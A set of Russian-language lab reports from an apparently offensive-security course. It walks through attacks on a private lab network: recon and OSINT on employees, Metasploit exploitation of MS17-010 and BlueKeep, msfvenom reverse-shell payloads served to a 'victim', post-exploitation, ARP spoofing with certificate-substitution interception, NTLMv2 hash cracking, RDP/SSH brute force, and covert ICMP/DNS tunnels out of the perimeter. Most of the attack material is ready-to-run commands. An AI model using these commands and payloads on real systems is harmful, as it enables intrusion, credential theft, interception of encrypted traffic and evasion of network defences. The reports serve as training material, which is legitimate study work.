# 1. Атаки первоначального доступа

## Разведка
1. Иследование, анализ сферы деятельности организации.
2. Определение часто используемой структуры сети и используемых сервисов для организаций данной сферы деятельности. (пример, для организаций сверы ЖКХ)
3. Определение IP адресов организации. (через отправку специально подготовленных электронных писем или средствами социальной инженерии).
4. Сканирование выявленных ip адресов на наличие портов служб которые смотрят на ружу, а так же определение оборудования которое стоит на границе периметра.

## Сценарии проникновения

1. Подбор учетных данных на доступные сервисы RDP, SSH, Radmin, Ammyy Admin и подобные.
2. Эксплуатация вэб уязвимостей.
3. Иньекции в БД.
4. Эксплуатациии уязвимости сетевого оборудования стоящего на границе периметра.
5. Социальная инженерия.
6. Атаки на протоколы сетевого и канального уровня.
7. Физическая кража оборудование или носителей ключей доступа.
8. Отправка фишинговых электронных писем, а так же писем с вирусами и троянскими программами.
9. Физическое проникновение в организацию и получение доступа к оборудованию или сети с возможностью установки закладки.

# 2. OSIN и социальная инженерия
### Задание
Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. Собранные данные включать в отчет не нужно!

### Инструменты для сбора информации о доменах и субдоменах компании.

subfinder
gau
- amass
- altdns
- dnsgen, massdns, subbrute
- wget

ubfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно.

пример использования
`kali@kali:~$ subfinder -nW -oI -o ~/tmp/sib-nsk.log -d sib-nsk.net`

- `-nW` - удаление мёртвых поддоменов из вывода
- `-oI` - запись вывода в формате Host, IP
- `-o ~/tmp/sib-nsk.log - файл, в который запишем результат
- `-d sib-nsk.net` - домен для поиска поддоменов

в лог файле мы увидим доменные имена и ip адреса на которых они висят

после можно воспользоваться сервисом hunter.io для поиска e-mail адресов с привязкой к конкретному домену


Утилита gau для поиска URL

установка

go install github.com/lc/gau/v2/cmd/gau@latest

использование

~/go/bin/gau --subs sib-nsk.net


используя различные инструменты можно из этого вывода выдернуть документы для изучения наличия вних персональных данных.

При помощи ресурсов типа https://2ip.io/domain-list-by-ip/ можно просмотреть какие еще домены могут висеть на конкретном IP адресе.

С помощью утилиты dig мы можем просмотреть на каком из найденых нами доменов висит почта
dig MX sib-nsk.net

при помощи телеграмм бота по номеру телефона и почте можно узнать информацию о человеке

https://t.me/+DPwC7zLpjoM5ZDcy

также есть бот "Глаз Бога" но он работает по платной подписке.

# Тема 3. Сканирование сети корпоративной инфраструктуры

### Задачи

а) Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW)
б) Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии
в) Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3.
г) Установить сетевой сканнер Nessus (будет необходим VPN) и просканировать внешний периметр инфраструктуры

## Настройка инфраструктуры

Итоговая структура сети выглядит так


### настройки pfSense

Проброс портов для RDP и SMB
![Uploading file..._ca3v6oh9x]()

и разрешающие правила

## Сканирование внешнего периметра

Начнем сканирование с утилиты nmap всей подсети 10.10.51.0.24

`nmap 10.10.51.0/24 -v`


Внешний адрес нашего pfSense 10.10.51.57
утилита почемуто нашла два открытых порта сканирование конкретно нашего ip адреса

`nmap 10.10.51.57 -A`


Воспользуемся возможностью nmap подключать скрипты для более детального сканирования хоста (определения версий уязвимости)

`nmap 10.10.51.57 -A -sV --script=*vuln*`

найдена одна уязвимость ms17-010


### Эксплуатация найденной уязвимости

воспользуемся утилитой Metasploit Framework console
для запуска введем команду
`msfconsole`


проведем поиск по номеру уязвимости

`msf6 > search CVE-2017-0143`


выдан список возможных эксплоитов

воспользуемся самым первым эксплоитом, введем команду `use 0`

для просмотра возможных опций этого эксплоита введем команду `show options`


нам достаточно прописать опцию RHOSTS делается это командой `set RHOSTS` 10.10.51.57
командой `run` мы запускаем данный эксплоит


в итоге эксплоит прошел удачно и мы получили доступ


### Реализуем еще одну уязвимость bluekeep

выходим в командную строку msfcomsole? и ищем эксплоит bluekeep
`search bluekeep`

далее выбираем наш экслоит


проверяем какие есть опции на этом эксплоите и задаем ему опцию RHOSTS
не забываем установить версию ОС в ошции Exploit target
и запускаем


Эксплорер отработал и мыы получили доступ к win7 машине


## Утановка Nessus

При помощи vpn скачиваем и устанавливаем Nessus, так же на сайте нужно зарегистрироваться и получит ключь активации


запускаем службу


и в браузере заходим по адресу http://127.0.0.1:8834
Выбираем версию

Вводим регистрационый код а также логин и пароль


и дожидаемся скачивания и установки плагинов


После установки плагинов нам срузу предлагается указать цель для сканирования


Через некоторое время нам выдатсся какие уязвимости были найдены

# Тема 4. Проникновение за периметр инфраструктуры. Технология SSH Port forwarding SSH Tunneling. Проксирование трафика

### Задачи
а) Создать проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding
б) Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне.
в) Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника
г) Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер

## a) Проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding

Проверяем запушен ли ssh служба на внешней Kali linux машине командой
`service ssh status
если не запущен запускаем его


В нашем случае он запущен.

Провряем возможность подключения из нутри инфраструктуры на наш внешний ssh сервер


все хорошо подключается

пробросим порт 3389 с windows10 на порт 3390 Kali linux
для этого в командной строке windows 10 пропишем следующую команду

`ssh -R 3390:127.0.0.1:3389 user@10.10.51.96`

попробуем теперь с Kali linux подключиться по RDP к Windows 10 машине в обход файервола


в водим команду
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`

И видим подключение к Windows 10


Для проброса 445 порта используется таже команда только вместо 3389 указывается 445 порт и далее по аналогии

Команда для проброса порта на другой компьютер
`ssh -R 3391:192.168.1.113:3389 user@10.10.51.96`
в данном случее проброс будет сделат через windows10 машину на windows7

### L3 тоннель с помощью SSH Tunneling

Произведем настройку внешей Kali linux машины

в файле настройки ssh сервера раскоментируем (или добавим) параметры

`PermitionRoorLogin yes` -разрешаем подключение root к ssh
`PermitTunnel yes` -разрешает использование перенаправления для устройств TUN

Тонель поднимается при помощи ключа -w

для этого бедем использовать Debian машинку находящиюся в нутри инфраструктуры и введем следующую команду

`ssh -w any:ane root@10.10.51.185`


откроим еще один терминал на этой машине командой Alt+F2 для донастройки

Видим появившейся адаптер tun0 но он не активен


назначим ip адрес на этот интерфейс
`ip addr add 172.10.10.2/24 dev tun0`
включим этот интерфейс
`ip link set dev tun0 up`


включаем маршрутизацию
вфайле /etc/sysctl.conf нужно раскоментировать параметр net.ipv4.ip_forward=1
после применим настройки командой `sysctl -p`


Настроим правила NAT чтобы трафик идущий из любых интервейсов натился на интерфейс ens3
`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`

приступим к донастройке kali linux машине

назначим нашему новому интерфейсу ip адрес

`ip addr add 172.10.10.1/24 dev tun0`

`ip link set dev tun0 up`

и добавляем маршрут до сети 192.168.1.0/24

`ip route add 192.168.1.0/24 via 172.10.10.2`

можно попробовать зайти на pfSense с Kali linux машины по адресу 192.168.1.1


### L2 тоннель с помощью SSH Tunneling

Подключим в нашу инфраструктуру еще одну debian машину и на ней будем проводить эксперимент

Настроим сеть и установим на ней bridge-utils (`apt install bridge-utils`)

Запустим соединение по ssh следующей командой
`ssh root@10.10.51.185 -o Tunnel=ethernet -w any:any`

включаем интерфейс
`ip link set tap0 up`
добавляем созданный тонель в бридж
`brctl addif br0 tap0`


Зайдем на внешнюю Kali linux и на ней настроим тонель

включаем интерфейс
`ip link set tap0 up`

и получаем по dhcp на этот интерфейс адрес
`dhclient tap0`


## Выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер

Для использования SSH proxy нужно использовать ssh со следующими параметрами

`ssh -f -qNTn -D *:8888 user@10.10.51.185`

# Тема 5. Проникновение за периметр инфраструктуры. OpenVPN L3, L2 Tunneling

### Задачи
а) Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне.
б) Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника

### Настройка стенда

добавим на наш стенд дополнительно одну debian машину, обзавем ее RPi (raspberry pi) в конфигурации добавим 3 сетевых интерфейса, два будут работать в режиме бриджа а один смотреть во внешнюю сеть эмулируя LTE модем.


Также создадим дополнительно два VLAN 10 и 20 в 10 будет windows 10 машина а в 20 debian, windows 7 останется в VLAN 1.

Дополнительно добавим еще одну Kali linux машину для поднятия на ней openvpn сервера

### Построить OpenVPN L3
на RPI-4 установим openvpn client
`apt install openvpn`
а также включим маршрутизацию
в файле /etc/sysctl.conf, раскоментируем строчку net.ipv4.ip_forward=1
и применим изменения sysctl -p

вешаем ip адрес на бридж интерфейс

`ip addr add 192.168.1.97/24 dev br0`

и настроим nat на бридж интерфейсе

`iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE`

на внешней Kali linux машине скачиваем скрипт
`curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
делаем его исполняемым

`chmod +x openvpn-install.sh

Запускаем
`./openvpn-install.sh`
помере выполнения отвечаем на вопросы
после выаолнения скрипта в конце он запросит как обозвать клиента и по этому имени создаст сщташгурационный файл для этого клиента. В нашем случае создался файл user.ovpn скачиваем этот файл на нашу RPi машину.

редактируем файл конфигурации openvpn сервера, приводим его к виду как указанно на скриншоте


перезапускаем openvpn сервер
`service openvpn restart`

в папке /etc/openvpn/ccd создадим файл с именем нашего профиля (клиента)

`nano user`
пропишем в нем какие сети находятся за этим клиентом
`iroute 192.168.1.0 255.255.255.0`


пропишем маршрут `ip route add 192.168.1.0/24 via 10.8.0.2`

так же немного редактируем файл конфигурации openvpn клиента приводим его к виду как указанно на скриншоте


подключаемся к openvpn серверу

`openvpn user.conf`

с Kali linux пробуем пропинговать адрес 192.168.1.1 и видим что пинги проходят, а значить мы имеем доступ во внутреннюю инфраструктуру


### L2 OPENVPN тунель

настройки сервера

nano /etc/openvpn/server.conf

port 1194
proto udp
#dev tun
dev tap
user nobody
group nogroup
persist-key
persist-tun
keepalive 10 120
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
#push "dhcp-option DNS 8.8.8.8"
#push "dhcp-option DNS 8.8.4.4"
#push "redirect-gateway def1 bypass-dhcp"
dh none
ecdh-curve prime256v1
tls-crypt tls-crypt.key
crl-verify crl.pem
ca ca.crt
cert server_7hSP84aWqqcYZwQ5.crt
key server_7hSP84aWqqcYZwQ5.key
auth SHA256
cipher AES-128-GCM
ncp-ciphers AES-128-GCM
tls-server
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
client-config-dir /etc/openvpn/ccd
status /var/log/openvpn/status.log
verb 3

перезапускаем openvpn

service openvpn restart


Настройки клиента

nano user.conf


Меняем настройки сети на клиенте

/etc/network/interfaces

Добавляем как на скриншоте


настраиваем автоматический запуск openvpn сервер

systemctl enable openvpn

для того что бы автоматически подтягивался конфиг для openvpn перенесем конфигурационый вайл в папку /etc/openvpn

mv user.conf /etc/openvpn/

укажем опенвпн серверу конкретно какой конфигурационный файл брать при автозапуске

nano /etc/default/openvpn


Создаем скрипт для автоматической перезапуска сети

для этого в папке etc/openvpn создаем скрипт

cd /etc/openvpn
nano up.sh

#!/bin/bash
/usr/bin/systemctl restart networking.service

Разрешаем на запуск

chmod +x up.sh

в файл user.conf добавляем
script-security 2
up /etc/openvpn/up.sh


после чего перезагружаем устройство и openvpn клиент автоматически подключается

# Тема 6. Вредоносное программное обеспечение в корпоротивной среде.

### Настройки рабочей среды
#### Kali Linux

Нужно в одной консоли запустить msfconsole
show payloads - просмотр payloads

выбираем эксплоит
use exploit/multi/handler

просмотр опций

show options


Устанавливаем параметр LHOST

set lhost 0.0.0.0

устанавливаем выбранный payloads

set payloads windows/x64/meterpreter/reverse_tcp

Смотрим какие опции присутствуют на этом payloads

show options


при помощи утилиты msfvenom создаем запускаемый файл

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe
-o reverse-tcp-meterpreter.exe

В результате чего создастся файл reverse-tcp-meterpreter.exe


С помощью python зоздаем веб сервер в котором будет находится наш файл

sudo python -m http.server 80

далее с жертвы заходим на этот сервер и скаиваем нужный нам файл и запускаем его.
на атакующем компьютере имеем доступ


создание payload для подключения по RDP

set payload windows/x64/vncinject/reverse_tcp

msfvenom -p windows/x64/vncinject/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-vnc.exe

в итоге на атакующей машине запустится сессия vnc с доступом к жертве

Настроим проброс портов

Вернемся к сессии set payloads windows/x64/meterpreter/reverse_tcp (session N) или если она не запущенна запустим

введем команду

portfwd add -L 10.10.51.58 -l 3395 -p 3389 -r 192.168.10.10

Смотрим соединения которые получились

portfwd list


Пробуем подключиться по RDP

xfreerdp /u: user /p:eve@123 /v:10.10.51.58:3395

в итоге получаем сессию rdp


### Постэксплуатация

use post/windows

для примера используем следующую комманду

use post/windows/escalate/unmarshal_cmd_exec

устанавливаем запущенную сессию
set session N (где N номер ссесии которую можно посмотреть коммандой show sessions)

и запускаем


в итоге на атакуемой машине имеем пользователя с правами администратора.

попробуем изспльзовать скрипт post/windows/manage/change_password

посмотрим опции


установим опции и запустим скрипт


Пароль изменен

Запустим еще один скрипт я так понял получает список локальных администраторов


## Reverse HTTPS-подключения

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.51.58 lport=443 -f exe -o 443.exe

Закидываем файл 443.exe на компьютер жертвы, а на атакуемом компьютере запускаем mfsconsole и вводим следующие комманды

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
msf exploit(handler) > set lhost IP 10.10.51.58
msf exploit(handler) > set lport 443
run

В итоге имеем досттуп


### PowerShell reverse tcp

запускаем mfsconsole и вводим следующие комманды

set payload cmd/windows/reverse_powershell
set lhost 10.10.51.58
set lport 4444
run

зоздадим пэйлоад

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.51.58 lport=4444 -o shell.bat

Зальем его на жертву и запустим


## Stealers
Это программное обеспечение которое позволяет похищать критически важную информацию.

https://github.com/tiagorlampert/sAINT

# Тема 7. Особенности атак, использующих метод перехвата трафика

### 1. Подготовка стенда
Добавляем новую машину контроллера домена на windows server 2016
Назначаем статический IP адресс 192.168.1.200
поднимаем службу контроллера домена и DNS сервер
на машинах с windows 10 и Windows 7 всетевых настройках меняем адресс DNS на 192.168.1.200
Вводим win7 and win10 машины в домен

### 2. Практическая часть
#### Перехват трафика

Для начала сканируем внутренную сеть.

На Kali Linux устанавливаем пакет dsniff (apt install dsniff)
в этом пакете находится уьтилита для перехвата трафика
arpspoof для arp spoof атаки между двумя хостами

arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.102


на скриншоте выдем атаку

на KAli запустим wireshark и посмотрим что мы получаем трафик между контроллером домена 192.168.1.200 и виндовс машинкой 192.168.1.102


попробуем разобрать проходящий трафик при помощи утилиты responder

responder -I eth0 -wd

видем NTLM авторизацию и хеш пароля


так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445

после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем


### SSLsplit

Ссылка на статью https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traff

для начала подготовим контроллер домена на стенде
для этого настроим на нем сертификаты

запустим с правами администратора mmc и добавим в неее остнастку Certificates


также в контроллер домена добавим роль центра сертификации

по статье генерируем ключи

создаем папку для сертификата

mkdir ssl
cd ssl

генерируем
1. `openssl genrsa -out ca.key 4096`
2. 1. `openssl req -new -x509 -key ca.key -out ca.crt`


добавляем правила iptables

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

создаем дополнительные папки
mkdir /tmp/sslsplit/
mkdir logdir

Меням параметры arpspoofing

arpspoof -i eth0 -t 192.168.1.102 -r 192.168.1.1

И запускаем sslsplit

sslsplit \ -D \ -l connections.log \ -j /tmp/sslsplit/ \ -M ssl_key_logfile \ -S logdir/ \ -k ca.key \ -c ca.crt \ ssl 0.0.0.0 8443 \ tcp 0.0.0.0 8080

и видем подмену сертификата


Скачиваем и устанавливаем наш сертификат на машине с windows 7

перезапускаем браузер и повторно открываем сайт ptsecurity.com
и видим что сертификат вполне действительный.


для просмотра тарфика запустим wireshark

в настройках wirwshark добавим (Pre)-Master-Secret log filename


итог мы можем спомощью подмены сертификата захватывать зашифрованный трафик и расфифровывать его.


# Тема 8. Особенности атак, использующих метод грубой силы

### Задачи
а) Подготовить инфраструктуру для проведения BruteForce атак
б) Провести атаку на сервис RDP
в) Провести атаку на сервис SSH
г) Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш

### BruteForce

Начнем с BruteForce атаки на перехваченный NTLMv2 хеш с помощью Responder

responder -I eth0 -wd

видем NTLM авторизацию и хеш пароля


так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445

после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем


для подбора пароля по хеш будем использоваать утелиту hashcat

Для начала распакуем словарь по которому будем подбирпть пароль

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

hashcat -a 0 -m5600 SMB-NTLMv2-SSP-192.168.1.102.txt /usr/share/wordlists/rockyou.txt -o pass.txt


по завершению работы мы можем посмотреть результат в файле pass.txt


где видем подобранный пароль eve@123

### RDP

Подбор будем проводить при помощи Lazy-RDP

Установка

git clone https://github.com/getdrive/lazy-rdp

cd lazy-rdp && chmod +x hydra/configure hydra/hydra src/rdp_brute.sh patator.py start INSTALL

Установка зависимостей

    ./INSTALL

Запуск скрипта

      ./start


оставляем порт по умолчанию, так как мы будем подбирать пароль к RDP


Здесь в нашем случае выбираем 1 и указываем для сканирования либо отдельный ip адресс либо диапазон


Указываем чем сканировать будем. Выберем nmap

После сканирования на непродолжительное время покажет что нашла и предложит выбрать метод подбора пароля


Выберем 3 (Подбор по словарю как имени пользователя так и пароля)


Укажем путь к файлу с именами и файлу с паролями


укажем чем непосредственно будем брутфорсить

выберем 1


Запустится процесс подбора


Через какоето время пароль подобран.

# ssh-bruteforce

Будем использовать иструмент ssb скачаем и установим с

https://github.com/kitabisa/ssb

для скачивания и установки выполним команду из под root
curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin

для подбора пароля введем следующую команду

ssb -p 22 -w pass -o creds.txt root@192.168.1.106

где -w pass файл со словарем паролей
-o creds.txt файл куда сохранится пароль


и после запуска утилита подобрала успешно пароль

# Тема 9. Инструменты скрытия трафика от систем защиты

### Задачи

а) Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля.
б) Выполнить реализацию ICMP тоннеля
в) Выполнить реализацию RAW DNS тоннеля (простой способ)
г) Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ)

### ICMP тонель

подготовка инфраструктуры

cсклонирунм утилиту hans с гитхаб на компьютер с кали линукс который расположен с наружи нашей инфраструктуры.

git clone https://github.com/friedrich/hans

Заходим в скачаную папку и комилируем командой make

после в этой папке у нас появится исполняемый файл hans


анологично скачиваем и компилируем данную утилиту и на компьютер с debian внутри инфраструктуры, может понадобится установка дополнительных утелит такой как net-tools

На Kali linux запускам сервер hans командой

./hans -s 10.1.2.0 -p Aa123456

где -s 10.1.2.0 создаваемая сеть, приэтом серверу назначиться адрес 10.1.2.1
-p Aa123456 пароль


создался тоннель tun0
Запустим клиента на debian машине в нутри инфраструктуры

для этого выполним следующую команду

./hans -c 10.10.51.96 -p Aa123456


создался так же тоннель tun0 и назначен адрес 10.1.2.100

Настроим выход и ифраструктуры для debian машины через созданный icmp тонель

для этого пропишем маршруты

на Kali Linux
пропишим NAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

на Debian
пропишем маршрут

ip route add 10.10.51.96/32 via 192.168.20.254

удаляем дефолтный маршрут
ip route delete default

и добавим новый маршрут
ip route add default via 10.1.2.1

Посмотрим как теперь идут маршрути на ya.ru


Запустим wireshark на интерфейсе e0 pfSense

и увидим большое колличество icmp пакетов в data которых встречается hans что говорит о том что используется утилита hans


в обычном icmp запросе такого нету

## RAW DNS тоннель (простой способ)
Будем использовать статью https://habr.com/ru/post/129097/

На Kali linux машине которая находится за пределами инфраструктуры установим утилиту iodine

apt install iodine

аналогично ставим и на debian машине которая находится внутри инфраструктуры

Далее на Kali linux машине запускаем серверную часть утилиты iodine

iodined 10.99.99.1/24 -c i.ptlab.net


на debian машине запускаем клиента, предварительно поменяв DNS


После запускаем клиента командой

iodine -P Qq123456 i.ptlab.net


тунель создан и мдаже можно подключиться по ssh



Но данный метод имеет минусы один из них это отсутсвиие DNS на клиенте.

## Реализация DNS тоннеля через корпоративный DNS сервер (сложный способ)

Подготовим ифраструктуру, для этого на стенде за переделим организации установим и настроим внешний DNS сервер, на базе windows server 2016


настраиваем делелгирование


Так же нужно перенастроить DNS на контроллере домена находящийся в нутри организации


стенд подготовлен.

Переходим на debian машину, перезагружаем ее, прописываем наш DNS сервер 192.168.1.200

утилитой dig смотрим на записи ptlab.net видим что А запись ссылается на адрес 10.10.51.186


попробуем опять подключиться iodine к серверу

iodine -P Qq123456 i.ptlab.net


Вэтом варианте мы можем резолвить адреса


Посмотрим на трафик который идет во внешнюю сеть

(тут у меня почемуто перестали вставляться картинки, поэтому вставляю ссылки на них)
[Screenshot_54](https://cloud.mail.ru/public/vgyL/VcJv6c98Y)

Заметим что днс трафик содержит непонятные вещи, по которым можно легко определить что есть какойто тунель в DNS трафике

Перейдем к следующему этапу тестирования,

для начала отключим существующий днс тонель
[Screenshot_55](https://cloud.mail.ru/public/h5ZG/9Rwasrzhz)

Отключим доступ до внешних ресурсов кроме нашего внешнего DNS серовера
проверим утилитой dig запросы на mail.ru и у собственного днс сервера мы получаем данные, а из внешнего нет.
[Screenshot_56](https://cloud.mail.ru/public/axYQ/3N34YBze3)

закрываем вообще весь трафик кроме 53 порта

[Screenshot_57](https://cloud.mail.ru/public/nLdm/D9xdHCPrD)
[Screenshot_58](https://cloud.mail.ru/public/JvyM/Guv1XhRSq)

в очередной раз попробуем подключиться iodine к серверу

iodine -P Qq123456 i.ptlab.net

[Screenshot_59](https://cloud.mail.ru/public/8Nss/ic2LSE6vy)
и мы видим, что утилита не смогла получить доступ через raw логин и начала реализовывать доступ через dns стрим и в итоге таки установила соединение.

а так же появился наш тонель

[Screenshot_60](https://cloud.mail.ru/public/MmgP/9Lr2Wt9yA)

Пропишим нужные нам маршруты

ip route add 192.168.1.200 via 192.168.20.254

удалим дефолтный маршрут и добавим новый дефолтный маршрут

ip route delete default
ip route add default via 10.99.99.1

[Screenshot_62](https://cloud.mail.ru/public/ESb8/MjErRQ9nU)

в итоге мы видим что у нас есть выход во вне и wireshark показывает Standart query dns запросы.

## Конец